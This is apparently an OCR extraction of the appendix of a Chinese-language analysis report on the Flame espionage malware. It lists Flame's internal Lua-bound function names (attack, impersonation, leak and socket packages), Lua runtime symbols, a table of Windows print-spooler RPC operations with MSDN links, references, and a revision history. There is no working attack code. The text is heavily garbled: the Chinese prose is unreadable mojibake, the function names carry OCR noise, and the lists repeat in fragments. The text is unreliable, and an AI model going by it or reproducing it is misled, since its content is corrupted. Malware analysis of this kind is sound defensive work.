lua::LogPackage::writeLog<|oOo[>1476<|oOo[>"

:clan::AttackPackage::pathetic3<|oOo|>156<|0Oo|>"
:clan::AttackPackage::audition<|oOo|>238<|0Oo|>"

lua::FlameOSPackage::getMac<|oOo[>1301<|oOo>"

:dbquery::DbQueryPackage::executeQueries<|o0o|>198<|oOo|>"

lua::FlameOSPackage::getlpByHostName<|oOo[>1267<|oOo[>"

:clan::AttackPackage::pathetic3<|oOo|>154<|0Oo[>"

lua::SockPackage::LuaSockServices::bind<|oOo[>1840<|oOo[>"
lua::LuaState::argAsString<|oOo0|>175<|oOo}>"

:clan::AttackPackage::audition<|oOo|>227<|0Oo|>"
:clan::AttackPackage::pathetic3<|o00|>158<|0Oo|>"

lua::ConfigurationPackage::setListElement<|oOo|>526<|0Oo|>"
lua::ConfigurationPackage::remove<|oOo|>394<|oOo|>"

:clan::AttackPackage::audition<|oOo|>224<|0Oo|>"

lua::SockPackage::LuaSockServices::connect<|oOo[>1909<|oOo[>"
lua::LuaState::interfaceBootStrapper<|oOo|>356<|oOo|>"
lua::ConfigurationPackage::getSubKeys<|oOo[>428<|oOo[>"
lua::LuaState::luaHook<|oOo[>221<|oOo[>"

:clan::AttackPackage::pathetic3<|o0Oo0|>163<|0Oo|>"

lua::ConfigurationPackage::pushLuaObjectFromKeyValue<|oOo|>669<|oOo|>"

:clan::AttackPackage::audition<|oOo|>222<|0Oo|>"

lua::LuaState::interfaceBootStrapper<|oOo|>346<|oOo|>"
lua::LuaState::luaHook<|oOo[>226<|0Oo[>"
lua::FilelOPackage::del<|oOo[>802<|oOo|>"
lua::LeakPackage::reportLeakCompletion<|oOo|>2125<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo|>328<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo[>322<|oOo|>"

:clan::AttackPackage::audition<|oOo|>236<|00o|>"

lua::SockPackage::LuaSockServices::recv<|o00|>1818<|oOo|>"

:cruise::CruisePackage::getUserLocalGroups<|oOo|>252<|0Oo|>"
:lua::LuaState::interfaceBootStrapper<|o0o|>332<|oOo|>"
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:clan::AttackPackage::pathetic3<|oOo|>150<|oOo|>"

lua::ConfigurationPackage::set<|oOo|>367<|oOo[>"

:clan::AttackPackage::audition<|oOo|>235<|0Oo}>"

lua::SockPackage::LuaSockServices::recv<|oOo[>1792<|oOo[>"
lua::FlameOSPackage::defaultGateway<|oOo|>1212<|oOo|>"
lua::LuaState::argAsBuffer<|oOo[>166<|0oOo[>"

:clan::AttackPackage::audition<|oOo0|>219<|0oOo|>"
:impersonator::ImpersonatePackage::getTokenByUser<|oOo|>198<|oOo[>"

lua::StoragePackage::getStorageMap<|oOo0|>2000<|0Oo[>"
lua::SockPackage::LuaSockServices::send<|oOo[>1686<|oOo[>"
lua::LeakPackage::getLeak<|oOo0|>2049<|oOo|>"
lua::FilelOPackage::copy<|oOo|>846<|oOo[>"
lua::ZlibPackage::uncompress<|oOo|>2179<|oOo|>"
lua::StoragePackage::getStorageMap<|oOo0[>1997<|0oOo>"

:dbquery::DbQueryPackage::executeQueries<|oOo|>143<|oOo|>"

lua::LuaState::interfaceBootStrapper<|oOo|>330<|oOo|>"

:cruise::CruisePackage::getLocalGroupMembers<|oOo|>108<|oOo|>"
:clan::AttackPackage::audition<|oOo|>220<|0Oo|>"

lua::FlameOSPackage::defaultGateway<|oOo|>1215<|oOo[>"

:clan::AttackPackage::audition<|oOo|>225<|0Oo|>"

impersonator::ImpersonatePackage::getCurrentToken<|oOo|>173<|oOo[>"
lua::LeakPackage::getLeak<|oO0|>2062<|oOo|>"
lua::LuaState::interfaceBootStrapper<|oOo|>343<|oOo|>"
lua::FlameOSPackage::DHCPAddress<|oOo|>1235<|oOo|>"

:clan::AttackPackage::pathetic3<|oOo|>161<|0Oo[>"

lua::FilelOPackage::truncate<|oOo[>821<|oOo|>"
lua::FilelOPackage::move<|000|>876<|0Oo|>"

:cruise::CruisePackage::getLocalGroups<|oOo[>82<|oOo}>"

lua::StoragePackage::save<|oOo0|>1981<|oOo|>"
lua::ConfigurationPackage::getType<|oOo[>300<|oOo>"

:clan::AttackPackage::audition<|oOo|>217<|0Oo|>"
:clan::WmiPackage::getNextResult<|oOo[>465<|oOo[>"

lua::LuaState::interfaceBootStrapper<|oOo|>318<|oOo|>"
impersonator::ImpersonatePackage::getCurrentToken<|oOo|>168<|oOo[>"
lua::LuaState::argAsStringsMap<|oOo[>153<|oOo[>"

:clan::AttackPackage::pathetic3<|oOo|>151<|oOo|>"

lua::ConfigurationPackage::setFromStack<|oOo|>709<|oOo[>"

:clan::AttackPackage::pathetic3<|oOo|>152<|0Oo|>"

lua::FlameOSPackage::domainName<|oOo|>1193<|0Oo|>"
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luaG_runerror lua_auxopen lua_getfield
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luaB_collectgarbage
luaB_coresume
luaB_cowrap
luaB_error
luaB_gcinfo
luaB_getfenv
luaB_getmetatable
luaB_ipairs
luaB_load
luaB_loadstring
luaB_newproxy
luaB_next
luaB_pairs
luaB_pcall
luaB_rawequal
luaB_rawget
luaB_rawset
luaB_select
luaB_setfenv
luaB_setmetatable
luaB_tonumber
luaB_tostring
luaB_type
luaB_unpack
luaB_xpcall
luaD_call
luaD_reallocCl
luaD_throw
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luaG_typeerror
lual_openlib
luaL_addlstring
luaL_addvalue
luaL_argerror
luaL_checkany
luaL_checkinteger
luaL_checklstring
luaL_checknumber
luaL_checkoption
luaL_checktype
luaL_checkudata
lual_error
luaL_findtable
luaL_getmetafield
luaL_newmetatable
luaL_optlstring
luaL_prepbuffer
luaL_pushresult
lual_typerror
luaL_where
luaS_newlstr
luaT_gettmbyobj
luaV_settable
lua_addk
lua_adjuststack
lua_assignment
lua_aux_close

lua_auxresume
lua_base_open
lua_body
lua_breakstat
lua_concat
lua_createmeta
lua_createstdfile
lua_createtable
lua_db_errorfb
lua_db_getinfo
lua_emptybuffer
lua_enterlevel
lua_errorlimit
lua_f_flush
lua_f read
lua_f seek
lua_f setvbuf
lua_f_write
lua_fflush
lua_fixjump
lua_forlist
lua_fornum
lua_funcargs
lua_funcinfo
lua_g_read
lua_g_write
lua_getcurrenv
lua_getfenv

Flame IZHEFEDTIRS
lua_getfunc lua_newfile
lua_getinfo lua_newuserdata
lua_getobjname lua_panic
lua_getstack lua_parlist

lua_getthread
lua_index2adr
lua_indexupvalue
lua_insert
lua_io_close
lua_io_fclose
lua_io_gc
lua_io_open
lua_io_pclose
lua_io_readline
lua_io_tostring
lua_io_type
lua_ipairsaux
lua_isnumber
lua_load_aux
lua_luaK_checkstack
lua_luaK_code
lua_luaopen_base
lua_luaopen_debug
lua_luaopen_io
lua_luaopen_math
lua_luaopen_os
lua_luaopen_string
lua_luaopen_table

lua_prefixexp
lua_pushcclosure
lua_pushclosure
lua_pushfstring
lua_pushlstring
lua_pushresult
lua_pushvalue
lua_recfield
lua_registerlocalvar
lua_remove
lua_setfield
lua_setmetatable
lua_settabsi
lua_settabss
lua_settop
lua_simpleexp
lua_tag_error
lua_tofile
lua_tointeger
lua_tonumber
lua_treatstackoption
lua_type
lua_typename
lua_yield
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luaB_cocreate

luaB_collectgarbage

luaB_coresume

luaB_cowrap
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luaB_error
luaB_gcinfo
luaB_getfenv
luaB_getmetatable
luaB_ipairs
luaB_load
luaB_loadstring
luaB_newproxy
luaB_next
luaB_pairs
luaB_pcall
luaB_rawequal
luaB_rawget
luaB_rawset

luaB_select
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luaB_setfenv
luaB_setmetatable
luaB_tonumber
luaB_tostring
luaB_type
luaB_unpack
luaB_xpcall
luaD_call
luaD_reallocCl

luaD_throw

luaG_runerror
luaG_typeerror
lual_openlib

luaL_addlstring

ORXKIRINEFE , RIDTHRIEE, 90
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ORXKIRINEFE , RIDTHRIEE,

lualL_addvalue

luaL_argerror

luaL_checkany

luaL_checkinteger

luaL_checklstring

luaL._checknumber

luaL._checkoption

luaL_checktype

luaL_checkudata

lualL_error

luaL_findtable

luaL_getmetafield

luaL_newmetatable

lual_optlstring

luaL_prepbuffer

Flame IR REFESITIRS

FI1W
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lual_pushresult
luaL_typerror
luaL_where
luaS_newlstr
luaT_gettmbyobj
luaV_settable
lua_addk
lua_adjuststack
lua_assignment

lua_aux_close

lua_auxopen
lua_auxresume
lua_base_open

lua_body

ORXKIRINEFE , RIDTHRIEE, $I2H]
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lua_breakstat
lua_concat
lua_createmeta
lua_createstdfile
lua_createtable
lua_db_errorfb
lua_db_getinfo
lua_emptybuffer
lua_enterlevel
lua_errorlimit
lua_f flush
lua_f read
lua_f seek
lua_f_setvbuf

lua_f_write

ORXKIRINEFE , RIDTHRIEE, $I3 |



£ )
oy 83 R Flame BEsIEAE SRS

lua_fflush
lua_fixjump
lua_forlist
lua_fornum
lua_funcargs
lua_funcinfo
lua_g_read
lua_g_write
lua_getcurrenv

lua_getfenv

lua_getfield
lua_getfunc
lua_getinfo

lua_getobjname

ORXKIRINEFE , RIDTHRIEE, E94 ]
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lua_getstack
lua_getthread
lua_index2adr
lua_indexupvalue
lua_insert
lua_io_close
lua_io_fclose
lua_io_gc
lua_io_open
lua_io_pclose
lua_io_readline
lua_io_tostring
lua_io_type
lua_ipairsaux

lua_isnumber

ORXKIRINEFE , RIDTHRIEE, EI5 ]
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lua_load_aux
lua_luaK_checkstack
lua_luaK code
lua_luaopen_base
lua_luaopen_debug
lua_luaopen_io
lua_luaopen_math
lua_luaopen_os

lua_luaopen_string

lua_luaopen_table

lua_new_localvar
lua_newfile
lua_newuserdata

lua_panic

ORXKIRINEFE , RIDTHRIEE, %96 ;T
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lua_parlist
lua_prefixexp
lua_pushcclosure
lua_pushclosure
lua_pushfstring
lua_pushlstring
lua_pushresult
lua_pushvalue
lua_recfield
lua_registerlocalvar
lua_remove
lua_setfield
lua_setmetatable
lua_settabsi

lua_settabss

ORXKIRINEFE , RIDTHRIEE, EITH
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Interface Operation Operation name Windows API
number

12345678-1234-ab

cd-ef00-01234567
89ab v1.0:

winspool (spoolss)

ORXKIRINEFE , RIDTHRIEE,

0x00
0x01
0x02
0x03
0x04
0x05

lua_settop

lua_simpleexp

lua_tag_error

lua_tofile

lua_tointeger

lua_tonumber

lua_treatstackoption

lua_type

lua_typename

lua_yield

RpcEnumPrinters
RpcOpenPrinter
RpcSetJob
RpcGetJob
RpcEnumJobs
RpcAddPrinter

Flame IRREFEDITIRS

EnumPrinters

OpenPrinter
SetJob

GetJob
EnumJobs
AddPrinter

$98 W


http://msdn.microsoft.com/library/en-us/gdi/prntspol_9fjn.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_9qnm.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_109u.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2uci.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2cj7.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1po2.asp
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0x06
0x07
0x08
0x09
Ox0a
0x0b
0x0c

0x0d
0x0e
Oxof
0x10

0x11
0x12
0x13
0x14
0x15
0x16
0x17
0x18
0x19
Oxla
Ox1b
Oxlc
0x1d
Ox1e
Ox1f
0x20
0x21
0x22
0x23
0x24
0x25
0x26
0x27
0x28
0x29
0x2a
0x2b
0x2c

0x2d

RpcDeletePrinter
RpcSetPrinter
RpcGetPrinter

RpcAddPrinterDriver
RpcEnumPrinterDrivers
RpcGetPrinterDriver
RpcGetPrinterDriverDirectory

RpcDeletePrinterDriver
RpcAddPrintProcessor
RpcEnumPrintProcessors
RpcGetPrintProcessorDirectory

RpcStartDocPrinter
RpcStartPagePrinter
RpcWritePrinter
RpcEndPagePrinter
RpcAbortPrinter
RpcReadPrinter
RpcEndDocPrinter
RpcAddJob
RpcScheduleJob
RpcGetPrinterData
RpcSetPrinterData
RpcWaitForPrinterChange
RpcClosePrinter
RpcAddForm
RpcDeleteForm
RpcGetForm
RpcSetForm
RpcEnumForms
RpcEnumPorts
RpcEnumMonitors
RpcAddPort
RpcConfigurePort
RpcDeletePort
RpcCreatePrinteriC
RpcPlayGdiScriptOnPrinterIC
RpcDeletePrinterIC
RpcAddPrinterConnection
RpcDeletePrinterConnection

RpcPrinterMessageBox

Flame IR REFESITIRS

DeletePrinter
SetPrinter
GetPrinter

AddPrinterDriver
EnumPrinterDrivers

GetPrinterDriver
GetPrinterDriverDirec
tory
DeletePrinterDriver

AddPrintProcessor
EnumPrintProcessors
GetPrintProcessorDire
ctory
StartDocPrinter

StartPagePrinter
WritePrinter

EndPagePrinter
AbortPrinter
ReadPrinter
EndDocPrinter
AddJob
ScheduleJob
GetPrinterData
SetPrinterData

ClosePrinter
AddForm
DeleteForm
GetForm
SetForm
EnumForms
EnumPorts
EnumMonitors
AddPort

ConfigurePort
DeletePort

AddPrinterConnection

DeletePrinterConnecti
on

FI9W


http://msdn.microsoft.com/library/en-us/gdi/prntspol_42eq.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_13ua.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1gky.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_29f6.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_752r.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_7xo2.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_3y7t.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_3y7t.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2e5u.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_7j5e.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_4z8z.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_8vi1.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_8vi1.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_33n6.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_5lma.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_7zqq.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_52r6.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_684y.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_8y0i.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_9t82.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_99nm.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_62hu.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_0u3l.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_5a0x.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_4w1e.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_0prh.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_66i5.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_9i0d.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_219p.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_3ayb.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_994j.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_17qr.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_6whg.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_6vzo.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2d84.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_7hgu.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2svi.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_2svi.asp
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0x2e
ox2f
0x30
0x31
0x32
0x33

0x34
0x35
0x36

0x37

0x38

0x39

0x3a
0x3b
0x3c
0x3d
0x3e

0x3f
0x40
0x41

0x42
0x43

0x44
0x45
0x46
0x47
0x48
0x49
Ox4a
0x4b
Ox4c
0x4d
Ox4e
Ox4f
0x50

RpcAddMonitor
RpcDeleteMonitor
RpcDeletePrintProcessor
RpcAddPrintProvidor
RpcDeletePrintProvidor
RpcEnumPrintProcessorDataty
pes
RpcResetPrinter
RpcGetPrinterDriver2
RpcClientFindFirstPrinterChan
geNotification
RpcFindNextPrinterChangeNot
ification
RpcFindClosePrinterChangeNo
tification
RpcRouterFindFirstPrinterChan
geNotificationOld
RpcReplyOpenPrinter
RpcRouterReplyPrinter
RpcReplyClosePrinter
RpcAddPortEx
RpcRemoteFindFirstPrinterCha
ngeNotification
RpcSpoolerlnit
RpcResetPrinterEx
RpcRemoteFindFirstPrinterCha
ngeNotificationEx
RpcRouterReplyPrinterEx
RpcRouterRefreshPrinterChang
eNotification
RpcSetAllocFailCount
RpcSplOpenPrinter
RpcAddPrinterEx
RpcSetPort
RpcEnumPrinterData
RpcDeletePrinterData
RpcClusterSplOpen
RpcClusterSplClose
RpcClusterSplisAlive
RpcSetPrinterDataEx
RpcGetPrinterDataEx
RpcEnumPrinterDataEx
RpcEnumPrinterKey

Flame IR REFESITIRS

AddMonitor
DeleteMonitor
DeletePrintProcessor
AddPrintProvidor
DeletePrintProvidor

EnumPrintProcessorD
atatypes
ResetPrinter
GetPrinterDriver2
FindFirstPrinterChang
eNotification
FindNextPrinterChang

eNotification
FindClosePrinterChan
eNotification
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http://msdn.microsoft.com/library/en-us/gdi/prntspol_8xf6.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1a5u.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_5yk2.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_59v6.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_5elu.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1mlv.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1mlv.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1m0i.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_7xo2.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_9sxa.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_9sxa.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_0tym.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_0tym.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1c1a.asp
http://msdn.microsoft.com/library/en-us/gdi/prntspol_1c1a.asp
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0x51 RpcDeletePrinterDataEx
0x52 RpcDeletePrinterKey
0x53 RpcSeekPrinter
0x54 RpcDeletePrinterDriverEx
0x55 RpcAddPerMachineConnection
0x56 RpcDeletePerMachineConnecti
on
0x57 RpcEnumPerMachineConnecti
ons
0x58 RpcXcvData
0x59 RpcAddPrinterDriverEx
0x5a RpcSplOpenPrinter
0x5b RpcGetSpoolFilelnfo
0x5¢ RpcCommitSpoolData
0x5d RpcCloseSpoolFileHandle
Ox5e RpcFlushPrinter FlushPrinter
> Windows XP and Ox5f RpcSendRecvBidiData
Windows Server
2003
0x60 RpcAddDriverCatalog
> Windows Vista 0x61 RpcAddPrinterConnection2
0x62 RpcDeletePrinterConnection2
0x63 RpclinstallPrinterDriverFromPa
ckage
0x64 RpcUploadPrinterDriverPackag
e
0x65 RpcGetCorePrinterDrivers
0x66 RpcCorePrinterDriverlnstalled
0x67 RpcGetPrinterDriverPackagePa
th
0x68 RpcReportJobProcessingProgre
ss

ORXKIRINEFE , RIDTHRIEE, $1013\


http://msdn.microsoft.com/library/en-us/gdi/prntspol_7vaq.asp
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[1] Wired:How Digital Detectives Deciphered Stuxnet, the Most Menacing Malware in History

http://www.wired.com/threatlevel/2011/07/how-digital-detectives-deciphered-stuxnet/all/

[2] Symantec:Flamer-highly-sophisticated-and-discreet-threat-targets-middle-east

http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east

[3] MaCfee: Skywiper — Fanning the ‘Flames’ of Cyberwarfare

http://blogs.mcafee.com/uncategorized/skywiper-fanning-the-flames-of-cyber-warfare

[4] Kaspersky: Flame: Bunny, Frog, Munch and BeetleJuice...

http://www.securelist.com/en/blog/208193538/Flame Bunny Frog Munch and BeetleJuice

[5] Microsoft TechNet

http://technet.microsoft.com/en-us/library/cc963218.aspx

[6] CrySyS Blog:Analysis of Flame WuSetupV.exe URL parameters

http://blog.crysys.hu/2012/06/analysis-of-flame-wusetupv-exe-url-parameters/

Mi:— : XFEXK

R G R R BIBNAE S,  H AR RSO A DI G TR s m 2. 7o
SR %A 2 AN E R Ik At R . R AT AERSAR, R TR g R, JIf
RN RTIN . EHBE . R . KRBT, AR TAR, HEd T R R
B (APT) [R5 3 SRR e )7 5o

ZRBAR LB BNTAVEFEN . RKPERIART, 22K T DY WG (5] 5K 20 22 4 L SCHE s
BB, JRsE CNNVD ANE —HSEHRAL L —. ZRB I 51 BRI 2R E A AV-TEST (2013) 4 F2 200
(¥ P i, AEREIE TR A RIS 4 e A )RR B R A A T e 1 A AR AR
KT R 51 25 BAE U I« http://www.antiy.com (H4130)

http://www.antiy.net  (JE)

KFZ R APT FIIF= i B 245 BE U i) : http://www.antiy.cn

ORXKIRINEFE , RIDTHRIEE, %1021


http://www.wired.com/threatlevel/2011/07/how-digital-detectives-deciphered-stuxnet/all/
http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east
http://blogs.mcafee.com/uncategorized/skywiper-fanning-the-flames-of-cyber-warfare
http://www.securelist.com/en/blog/208193538/Flame_Bunny_Frog_Munch_and_BeetleJuice
http://technet.microsoft.com/en-us/library/cc963218.aspx
http://blog.crysys.hu/2012/06/analysis-of-flame-wusetupv-exe-url-parameters/
http://www.antiy.com/
http://www.antiy.net/
http://www.antiy.cn/

=~
z oX Flame iR A S IR

ANTIY

fIR= : HEEMBE

2012-5-31 V1.1.0 EERNFBIETF 5, WP T FARMN —LAT R, FF4r
SRR RIFEA.

2012-6-5 V1.1.1 BN FARPGHAT VA 4, FFFaR i e S . RIREERT T
Soapr32.ocx H153 . HAFRFE KA T N IRE K77 .

2012-6-8 V1.1.2 AIRFH T X Msglu32.ocx HI50Hr, ISR RG] —Lt

AR, tn: office B R X OCRY (B4R docx. xlIsx. pptx &) LA
R ERBI A FREPRTEH 7 NE . AT A5 5 s A
Soapr32.ocx 1R AHAE «

2012-6-11 V1.1.3 AIRFEH T % Nteps32.ocx ()40 4r, ML REA S 10 AN,
WREFHGER, FHlsmEEREE S . Bkng i EfE
ST . BRI ERER A AT

2012-6-15 V1.1.4 AR T % Advntefg.oex (704, 2B 32 E )R 2 U5
Fefs EAEE RGP e (S B . Hdh 7455 8 %5 f Nteps32.0cx
N 2 B R — R 7, SEEGEAIE

2012-6-18 V1.1.5 X ERRER R, B IE T 0 H e B A AN 2R .

2012-6-23 V1.1.6 XX T LA BRI 25 B IR0 AT 7 g, A R4
NATR, FREH e,

2012-7-2 V1.1.7 AIRFHAEN T ZRTRAR)JUAL R, IR TR A B R

PLATIEGE . A RHTHE EREREL 3 04T AR A R s xt
MR, EFWMRBAESHT.

2012-7-4 vV1.1.8 RYGHHE T ORI RERR BT 74 SCAFEZR A Browse32.00x HH
M, B0 T SRR R R R . 45 H I T 3R 51 28 1 SO A
B .

2012-7-5 V1.1.9 HTHE Lua AR BB 208103 107 A, ILBHSR 6, B BEuRTE S
Mreps

2012-7-6 V1.2.0 Flame H A3 Lua HRER 1) 25 G 3 R AR A 46 SRR oy 2548 [
MHTHE T EAEHEL 435 AT R N 2R

2012-7-9 V1.2.1 TE R P E I SR Lua B2, I0F — Sk, 07D

Hree fE R Lok SCPFRTRBIZER) Inf SCAFA R . 240
I VAR IE R A 5 .

2012-7-10 V1.2.2 FEIER Lua BRI, Jimmy.dil BEERZE > Hrrh, A%
AL AN B IRAE BRI T
2012-7-11 V1.2.3 FHr Flame 3217 58RI FE, A SR8, Hm Jimmy.dl

KT, W TR R 0 Lua fRAS N 5.1, 1 Lua 5.1 A
RATIITE] 9 2006 4£ 2 H 21 H, XIE T Flame 7T & I H]
NN 2006 £ 2 H 21 HZ )5 .

2012-7-12 V1.2.4 B Flame X B4 40,5 78 25 04 1 e 2N Debug fl, X
Lua ") Debug AT 73R, 4512 w4 —FEN.
2012-7-13 V1.2.5 TE FAEH AR 4347 R —28 Lua IR R %L, AL 150 A4 s8R B0nT W

ORXKIRINEFE , RIDTHRIEE, %1031\



/
/f —
=L

2012-7-16

2012-7-17

2012-7-18

2012-7-19

2012-7-20

2012-8-07

2012-8-08

2012-8-09
2012-8-10
2012-8-11

2012-8-14

2012-8-15

2012-8-16
2012-8-17

V1.2.

V1.2.

V1.2.

V1.2.

V1.3.

V1.4,

V1.4,

V1.4,

V1.4.

V1.4.

V1.4.

V1.4.

V1.4.
V1.4.9

ORXKIRINEFE , RIDTHRIEE,

Flame IR REFESITIRS

5o

Lua RO FIETE T, S RENAETIERE] T — LK BB 41
BAERAET, HILH 4000 24,

8 DES BiEH I ESL T, KIAHEEHE 16 AT HRIE
3, & DES a8k i AL . tHE SN UEE, R KR
B /E A DES St 55 LA .

TR R IR R A AT, #4712, B ife \ DB DFAC
A2 1ERCAESk, ARG BRI 7 TR .

23} Flame Y Lua BREL T 2 A 45 0 Flame 8 Lua A<
7. EABFEYVIGERETTE Lua SR A A — 1R, SR
JEAEIX LR P RAE Key,Value FERHIBEMEST, J5 Szl it SREUE &
R, RIFKRTIRER Key FERHKR, 1R Lua fREGHAT
Lua bR £ fif %5358 731 7E S, 2B 00004069.exe ST FH
Boot32drv.sys NIA—3CHF, FEAERIEK— MRS HIHH. KRS
TEBETEMRSS JE Bl R 3, FHnEk—2 S 5 R AR 55
AT R IUNNZE A 5 AR R UIT ENY LA R 5 e, IR =
FAAE PDF 4 IAH SR 1 48 5, HEI A A W AL 115 22 26 1 28
BAE, TTRES R IR LR A AT R R A

IF H. &3 Flame &3 RPC i F] Windows J& &AL, SEl4r
SEINRE

ST R BT AR R A, A AR 2 SR S S i R I —
B, ARSI X IX PR AN R AL AR 2 bR B0 AT A X 5| AT DAfR
REZH AR FERER, RTINS RN .
AR EZN Flame FERMRZ R o K E MRS, £
BAT M, RIL—LETTRERIHEN . IEXEHEAT 2 BT SR »

F BT Flame HEREKHI 5, S i AT AR RS R T
Tk SEBIBAT

A RFEMA P C 4 HIREAS Gauss X ELAHT, FTLL flame 4 K%
T E.

A F%t Fame 7 A\ %1 Services.exe #EFEH1 1) Shell Code $2HX, JFi%
HENNRFE B AR B AT &9, 2858 XL A A% 3 Shell
Code.

FERIL, Shell Code MIFEREMSEAN—NREER, RFRN
Shell Code Ji5 %: Dy fie 75 22 (1) BR £

X} Flame 7 A 2 Services.exe @2+ 1 Shell Code #4743 #r & 3,
Ho¥s Mssecmgr.ocx BEELE 2% A Shell32.d11 A N 1) 528 )7 30
SRHEF B HES, Frlh Flame # & — K.

A RX} Caromspol32.0ocx FEHRBEAT 4T, b REUR Z T 5
Nteps32.ocx A[E. A FABSBUREZEER, WA ULR
HEEH 7

56104 @



